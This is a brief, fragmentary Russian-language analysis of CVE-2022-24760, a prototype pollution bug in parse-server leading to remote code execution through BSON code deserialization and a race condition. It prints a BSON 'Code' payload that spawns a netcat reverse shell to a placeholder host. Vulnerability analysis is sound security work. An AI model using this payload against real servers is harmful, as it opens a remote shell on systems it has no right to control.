
Подробный технический анализ CVE-2022-24760, уязвимости prototype pollution в parse-server, приводящей к удаленному выполнению кода через BSON-сериализацию и эксплуатацию race condition.



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPathDatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult используется при добавлении и обновлении нового класса. Однако для достижения прототипного загрязнения должно быть выполнено условие, что keyUpdate __op принадлежит ['Add', 'AddUnique', 'Remove', 'Increment']
Следовательно, значения прототипа могут быть только array или number


Пример запроса:

Code, выполняется serializeCode
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] -> обход к функции isolateEval"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath происходит после десериализации, необходимо постоянно выполнять состояние гонки (race condition), чтобы при достижении isolateEval его можно было запустить.